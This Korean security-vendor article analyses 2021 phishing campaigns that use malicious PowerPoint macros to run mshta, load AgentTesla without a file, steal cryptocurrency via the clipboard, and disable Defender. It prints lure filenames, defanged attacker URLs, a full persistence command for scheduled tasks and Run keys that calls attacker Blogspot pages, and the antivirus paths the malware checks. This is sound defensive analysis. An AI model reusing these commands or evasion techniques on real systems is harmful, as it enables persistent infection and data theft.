은밀하게 교묘하게, 악성 PPT 문서의 진화
직장에서 행해지는 발표 혹은 보고서 작성은 파워포인트 없이는 불가능하다고 해도 과언이 아니다. 이처럼 남다른 범용성을 가진 파워포인트는 사이버 공격자들에 의해 해킹에 악용되기도 한다. 공격자는 피싱 메일로 타깃을 속이고 첨부한 악성 PPT 문서를 실행하도록 유도해 악성 행위를 수행하는 것이다. 이와 같은 공격 방식은 시간이 지날수록 진화를 거듭하고 있으며, 특히 파워포인트가 흔히 사용되는 소프트웨어인만큼 각별한 주의가 요구된다.
이번 글에서는 지난 2021년 한 해 동안 유포된 악성 PPT 파일의 특징 및 동작 과정에 대해 살펴본다.
꾸준하게 유포되고 있는 악성 파워포인트(PPT) 문서는 주문서, 명세서 등으로 위장해 피싱 메일에 첨부되며, 악성 VBA 매크로를 포함한다. 이와 같은 방식은 사용자가 악성 행위를 알아차리기 어렵고, 워드(Word)나 엑셀(Excel) 등 다른 형태의 문서 파일에도 꾸준하게 사용되곤 한다.
악성 PPT 문서 파일에 포함된 매크로가 실행되면, 윈도우의 정상 프로세스인 ‘mshta 프로세스’를 통해 특정 URL에 접근하여 악성 스크립트를 실행한다. 최종적으로는 정보유출형 악성코드 ‘에이전트테슬라(AgentTesla)’를 파일리스(Fileless) 형태로 실행한다. 참고로, 에이전트테슬라는 ASEC 블로그에 매주 업로드되는 ‘주간 악성코드 통계’에서 꾸준히 TOP 3 안에 들 정도로 국내에서 활발히 유포 중인 악성코드다.
큰 틀에서 보면 악성 PPT 문서 파일이 유포되고 동작하는 방식은 과거와 크게 다르지 않다. 다만, 백신 우회를 위한 VBA 매크로 코드 변화, 프로세스 변화, 스크립트 기능 추가 등을 통해 계속 정교해지는 추세이다.
악성 PPT 문서 유포 방식
악성 PPT 문서 파일은 다수의 기업 사용자들을 대상으로 사회공학적 기법을 활용한 피싱 메일에 첨부되어 유포되고 있다. 공격자들은 사용자 정보를 미리 파악 후 관련된 내용을 메일에 작성하여 특정 사용자를 속이는 방법을 택하거나, 주문서, 명세서, 운송 등과 같이 많은 사용자들이 흔히 접할 수 있는 내용을 불특정 다수에게 유포하기도 한다. 지난 2021년, 악성 PPT 문서 파일이 유포되었던 피싱 메일 예시는 [그림 1]과 같다.
[그림 1] 악성 PPT 문서 첨부 피싱 메일
피싱 메일에 첨부된 악성 PPT 문서의 파일은 다양한 확장자를 사용하며 ‘.pdf’를 활용한 경우도 있다. 또한, 국내 사용자를 대상으로 한 파일명도 있다. 아래는 지난 2021년 한 해 동안 유포된 악성 PPT 문서 파일명 중 일부이다.
악성 PPT 문서 파일명
▶ Scan01283전신 송금12pdf.ppam
▶ 주문 문의 -FUJICHEMI261120.ppt
▶ Purchase order 4500061977pdf.ppam
▶ Catalog for new order.pdf.ppam
▶ ReservationId ,pdf.ppam
▶ Purchase Inquiry_pdf.ppt
▶ Quote and Company Profile.ppam
▶ Purchase Order From Genbody.ppam
▶ Introduction of GenBody.ppam
▶ DHL ONLINE SHIPPING PREALERT ADVISORY AWB 9804583234.ppt
▶ FUJI Company Profile Presentation .ppt
▶ INTRODUCTION OF FUJICHEM.ppt
▶ Request for Offer.ppt
▶ Invoice copy.ppt
▶ Defence and security Agenda Point.ppt
▶ Distribution Notice.ppa
동작 방식 및 특징
악성 PPT 문서 파일의 전체적인 동작 과정은 [그림 2]와 같다.
[그림 2] 악성 PPT 문서 파일 동작 과정
먼저, 피싱 메일에 첨부되어 있는 악성 PPT 문서 파일을 실행하면 악성 VBA 매크로가 동작한다. 악성 VBA 매크로는 mshta 프로세스를 통해 단축 URL에 접근하여 악성 스크립트가 업로드된 웹사이트에 접속한다. 최종적으로 악성 스크립트를 통해 정보유출형 악성코드 에이전트테슬라를 파일리스 형태로 실행한다. 해당 동작 방식은 현재까지 동일한 형태를 유지하고 있다.
악성 PPT 문서를 실행하면 본문 내용은 없고 [그림 3]과 같이 매크로 포함 여부를 선택하는 알림창이 나타난다. 이 때 매크로 포함 버튼을 선택하면 악성 VBA 매크로가 실행된다. 악성 VBA 매크로는 Auto_Open()이나 Auto_Close() 함수를 사용하여 문서가 열리거나 종료될 때 자동으로 악의적인 코드를 실행한다.
[그림 3] PPT 문서 실행 시 나타나는 알림창
악성 VBA 매크로 코드는 유형에 따라 나뉘어 난독화되어 있지만 주요 기능은 동일하다. mshta 프로세스를 통해 특정 URL에 접속하게 하는 것이며, 접근하는 URL은 대부분 다음과 같이 단축되어 있다.
단축 URL
▶ hxxps://bitly[.]com/dsasabqwdasdahsawgtasdajksbadsashakdasfdasd
▶ hxxp://www.bitly[.]com/hdjalsdnbhagdehasd
▶ hxxp://www.bitly[.]com/hdjkashdjksagtdjkasghdjk
▶ hxxps://j[.]mp/dbdwdadwdwfcrgdwdww
▶ hxxps://j[.]mp/jasidjaddaaoasdoj
▶ hxxp://j[.]mp/ytuiwqjslkawqtyiwqbhj
URL에 접속하면 Final URL로 리다이렉트 된다. Final URL은 아래와 같이 대부분 형태가 유사하며, ‘Blogspot’ 웹페이지를 이용하는 것이 특징이다.
Final URL
▶ hxxps://thethingsidontknowwhattyodo.blogspot[.]com/p/ghul-117817.html
▶ hxxps://orkyakroonmeinkyukartaahunthekat1.blogspot[.]com/p/charles123uuu.html
▶ hxxps://orkyakroonmeinkyukartaahun.blogspot[.]com/p/gibson1243gibson.html
▶ hxxps://newblogheresee.blogspot[.]com/p/27.html
▶ hxxps://newblogheresee.blogspot[.]com/p/10.html
▶ hxxps://ajmeinthakahowahun.blogspot[.]com/p/divin2222.html
웹브라우저를 통해 Final URL에 접근하면 [그림 4]와 같이 정상적으로 보이는 빈 블로그를 확인할 수 있다. 하지만 해당 사이트에는 악성 스크립트가 포함되어 있다.
[그림 4] 웹브라우저로 Final URL에 접속 시 나타나는 창
최종적으로 접근하게 되는 악성 웹사이트는 악성 PPT 문서 파일이 유포된 후 일정 시간 동안만 접근 가능하다. 악성코드에 감염되도록 실제 사용자만 접근 가능하며, 특정 시간 이후에는 악성 행위를 분석하기 어렵도록 대부분의 악성 사이트를 삭제하거나 비공개 처리해 접근을 차단한다.
BlogSpot 웹페이지에 있는 악성 스크립트는 인코딩된 형태이며, 디코딩 시 악성 VBS 코드를 확인할 수 있다. 디코딩된 악성 스크립트의 공통된 기능은 크게 두 가지가 있다. 바로, ▲지속적인 악성 행위를 위한 작업 스케줄러 및 RUN 키 등록 ▲악성 바이너리를 정상 프로세스에 인젝션이다.
먼저 첫 번째 기능인 작업 스케줄러 및 RUN 키 등록은 대부분 [그림 5]와 같은 형태로 동작한다.
[그림 5] 작업 스케줄러 및 RUN 키 등록
[그림 5]의 코드가 동작하면, 작업 스케줄러인 ‘schtasks’를 통해 정상 스케줄러 명을 위장한 ‘WIND0WSUPLATE’ 이름으로 작업 스케줄러를 등록한다. 해당 작업은 80분마다 mshta를 통해 특정 URL에 접속하게 하고 Blogspot 웹페이지를 이용한다.
해당 웹사이트에도 동일하게 인코딩된 악성 스크립트가 있고, 기능은 파일마다 조금씩 다르다. 주로 특정 프로세스 종료, 악성 파워쉘(PowerShell) 명령어 실행 등 추가 악성 행위를 수행하도록 한다. 작업 스케줄러 등록 후 RUN 키를 등록하는데, 이때도 mshta를 통해 악성 스크립트가 포함된 Blogspot 웹페이지에 접속하는 명령어를 등록한다.
작업 스케줄러 등록 명령어
schtasks /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"""/F /tr """\""mshta\""vbscript:Execute(""\""CreateObject(""\""Wscript.Shell""\"").Run ""\""mshta hxxp://1230948%1230948@getyournewblog.blogspot[.]com/p/10.html""\"", 0 : window.close"\")
RUN 키 등록
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\dkkkksakdosexography: mshta "hxxp://1230948%1230948@newblogset144.blogspot[.]com/p/10.html"
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\nunukhaoo: mshta "hxxp://1230948%1230948@papagunnakjdnmwdnwmndwm.blogspot[.]com/p/10.html"
[표 1] 작업 스케줄러 및 RUN 키 등록
두 번째 기능은 파워쉘 명령어를 통해 특정 URL에 접근하여 악성 닷넷(.NET) 실행 파일을 로드하는 것이다. 바이너리는 총 2개가 존재하는데, 하나는 악성 행위를 수행하는 페이로드(payload)이며, 나머지는 페이로드를 정상 프로세스에 인젝션한다.
악성 바이너리는 [그림 6]의 명령어를 통해 로드되며, 디코딩된 첫 번째 닷넷 파일의 projFUD.alosh_rat의 Execute Method(실행 메소드)를 실행한다.
[그림 6] 악성 바이너리 로드
실행 메소드는 aspnet_compiler.exe 프로세스 생성 후 두 번째 닷넷 파일을 인젝션하여 악성 행위를 수행한다. 이 때, 인젝션되는 파일이 정보유출형 악성코드인 에이전트테슬라다. 이 과정을 통해 최종적으로 악성코드가 실행되며, 특정 웹사이트에 존재하는 바이너리를 정상 프로세스에 인젝션하기 때문에 파일리스 형태로 동작하게 된다.
동작 방식 및 특징
악성 PPT 문서 파일은 앞서 소개한 기능을 공통적으로 수행하는데, 매크로 실행부터 최종 악성코드 실행 단계까지의 과정은 큰 틀에서 유지되고 있다. 다만, 해당 기능을 수행하는 스크립트 형태는 조금씩 다르며, 작업 스케줄러 및 RUN 키에 등록되어 실행되는 추가 악성 스크립트의 기능도 변형되고 있다. 스크립트 외에도 VBA 매크로 코드 및 프로세스가 바뀌어 유포되고 있다. 이와 같은 변화는 백신 솔루션 탐지 우회 및 분석 방해를 위한 목적으로 보이는데, 각 기능에 대한 변화 과정은 아래에서 소개한다.
1. VBA 매크로
2021년 초에 유포되었던 악성 VBA 매크로를 보면, 대부분 단순하게 나누어진 mshta 명령어를 조합하여 실행하는 형태이다.
[그림 7] 2021년 2월 유포된 악성 VBA 매크로
2021년 4월 발견된 변형 악성 VBA 매크로는 코드 내에 mshta 명령어가 포함되어 있지 않고, TextBox 속성을 이용한다. 해당 속성에 mshta 명령어를 저장하여 이용하는 방식으로 악성 명령어를 매크로 코드 내에서 숨기기 위한 목적으로 보인다.
2021년 8월에는 단순한 조합이나 속성을 사용하던 방식과 달리, 분석과 진단을 방해하기 위해 더 복잡한 형태로 악성 VBA 매크로가 변화했다. 해당 악성 VBA 매크로는 함수를 여러 개로 나눈 뒤, 각 함수에서 특정 문자열을 추출해 사용한다. 또한 문자열을 단순하게 각 함수로 나눈 것이 아닌 Replace(), Mid(), Left() 등의 문자열 인덱스를 이용하는 함수로 문자열을 조합한다. 이 방식은 실행되는 악성 명령어를 한 번에 유추하기 어렵게 만든다.
그리고, 가장 최근인 2021년 11월, 문자열 인덱스를 이용하는 함수 사용과 함께 XOR 연산이 추가된 유형도 확인되었다. 이전에는 지정된 문자열의 특정 위치 값을 가져오기만 했던 형태였다면, 해당 유형에서는 XOR 연산을 포함하여 더 복잡한 형태로 문자열을 가져오기 때문에 정적 분석 시 시간이 소요된다.
[그림 8] 2021년 11월 유포된 악성 VBA 매크로
악성 VBA 매크로는 주요 악성 기능인 mshta 명령어를 실행하는 기능 뿐만 아니라, mshta 명령어를 실행하기 전 오류창을 생성하는 유형도 있다. 해당 방식의 경우 사용자가 파워 포인트 에러로 생각하여 악성 행위를 알아차리기 쉽지 않다. 앞서 소개한 악성 VBA 매크로 유형 외에도 다수의 변형 파일이 있고, 더 복잡한 형태로 계속 진화하고 있다.
2. 프로세스
기존에는 악성 VBA 매크로를 통해 파워포인트 프로세스에서 mshta 명령어가 바로 실행되었지만, 변형 파일에서는 mshta 명령어를 실행하는 주체가 변경되었다. 파워쉘 명령어가 추가되어 mshta 명령어를 실행하는 과정에 파워쉘 프로세스가 추가되고, 해당 프로세스는 cmd 명령어를 실행하여, 최종적으로 cmd 프로세스를 통해 mshta 명령어가 실행된다.
[그림 9] 파워쉘 프로세스가 추가된 유형
파워쉘 프로세스 외에도 mshta 명령어를 실행하는 주체가 아웃룩(Outlook)으로 변경된 유형이 있다.
[그림 10] Outlook 프로세스가 추가된 유형
앞선 파워쉘 프로세스 유형은 부모 프로세스가 파워포인트이지만, 해당 유형에서는 아웃룩 프로세스를 생성하여 해당 프로세스에서 mshta 명령어를 실행한다. [그림 10]의 코드를 보면, CreateObject(“Outlook.Application”)을 통해 아웃룩 응용 프로그램 개체를 생성하여 mshta 명령어를 실행하는 것을 볼 수 있다. 이러한 프로세스 변화는 행위 탐지를 우회하기 위한 목적으로 보인다.
3. 스크립트 기능
악성 PPT 문서 파일은 악성 스크립트를 통해 작업 스케줄러 및 RUN 키를 등록하고 에이전트테슬라를 실행한다. 다만, 작업 스케줄러 및 RUN 키에 등록되는 추가 악성 스크립트의 기능은 유형마다 다르다. 지금까지 확인된 유형과 기능을 소개한다.
A. 악성 스크립트 유형 1 – 코인 탈취
[그림 11]은 코인을 탈취하는 악성 파워쉘 스크립트로, 작업 스케줄러에 등록되어 주기적으로 실행된다. 윈도우 클립보드에 복사된 문자열을 검사하고 코인 주소인 경우, 공격자의 코인 주소로 변경하여 코인을 탈취한다. 탈취하는 코인으로는 비트코인(Bitcoin), 이더리움(Ethereum), XMR, 도지(DOGE) 등 이용자가 많은 코인을 대상으로 한다.
[그림 11] 코인 탈취 파워쉘 스크립트
B. 악성 스크립트 유형 2 – 다양한 추가 기능
두 번째는 백신 프로그램 검사 및 권한 상승 등 다양한 기능을 수행하는 악성 파워쉘 스크립트로, RUN 키에 등록되어 실행된다. 먼저, [그림 12]와 같이 특정 경로에 존재하는 백신 프로그램의 존재 여부를 검사한다. 백신 프로그램이 있는 경우, http://www.google.com에 접속하여 다운로드되는 정상 스크립트를 실행해 악성 행위가 수행되지 않도록 한다.
검사 대상 백신 프로그램 경로
▶ C:\Program Files\ESET\ESET Security\ecmds.exe
▶ C:\Program Files\Avast Software\Avast\AvastUI.exe
▶ C:\Program Files\Common Files\McAfee\Platform\McUICnt.exe
▶ C:\Program Files\Malwarebytes\Anti-Malware\mbamtray.exe
▶ C:\Program Files\AVG\Antivirus\AVGUI.exe
반대로, 백신 프로그램이 존재하지 않는 경우에는 윈도우 보안 알림 메시지 비활성화, 사용자 계정 제어 우회(UAC Bypass), 윈도우 디펜더 비활성화 등의 기능을 활용해 추가 악성코드가 정상적으로 실행될 수 있도록 사용자 PC 환경을 설정한다.
결론
악성 파워포인트(PPT) 문서 파일은 2020년부터 현재까지 피싱 메일을 통해 꾸준하게 유포되어 왔다. VBA 매크로, 프로세스, 악성 스크립트 변화 등을 통해 백신 존재 여부 검사, 윈도우 디펜더 비활성화 등과 같은 기능을 추가되어 더욱 정교하고 지속적인 악성 행위를 수행하도록 진화해오고 있다.
또한, 유포 과정에서 사용자들을 속이는 방식 역시 점점 더 교묘해지고 있어 각별한 주의가 요구된다. 사용자들은 출처가 불분명한 메일 열람 시 항상 주의를 기울여야 한다. 또한, V3 등 보안 솔루션을 항상 최신 상태로 업데이트하여 악성코드 감염을 사전에 차단할 수 있도록 신경 써야 한다.
출처 : AhnLab